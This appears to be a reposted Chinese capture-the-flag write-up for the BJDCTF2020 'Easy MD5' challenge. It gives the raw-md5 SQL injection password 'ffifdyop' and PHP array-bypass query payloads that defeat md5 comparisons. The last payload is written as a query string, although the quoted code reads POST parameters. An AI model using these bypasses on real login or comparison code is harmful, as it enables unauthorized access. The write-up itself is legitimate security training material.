[BJDCTF2020]Easy MD5

Posted H3h3QAQ

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[BJDCTF2020]Easy MD5相关的知识,希望对你有一定的参考价值。

打开之后这个这破玩意
在这里插入图片描述
抓一下包发现了这个
Easy MD5_2.png

select * from ‘admin’ where password=md5($pass,true)

百度了一下MD5()ture漏洞

https://blog.csdn.net/March97/article/details/81222922

输入一下百度到的密码:

ffifdyop

进入了另一个页面,注释里发现了:

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

= =赵总无处不在!!!

之前做过一道题,这种可以数组绕过

构造payload:

?a[]=1&b[]=2

又得到了一串php

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

同理,数组绕过!

构造payload:

?param1[]=1&param2[]=2

EasyMD5_2.png

拿到Flag!!!!!

以上是关于[BJDCTF2020]Easy MD5的主要内容,如果未能解决你的问题,请参考以下文章

buuctf [BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5,[极客大挑战 2019]Knife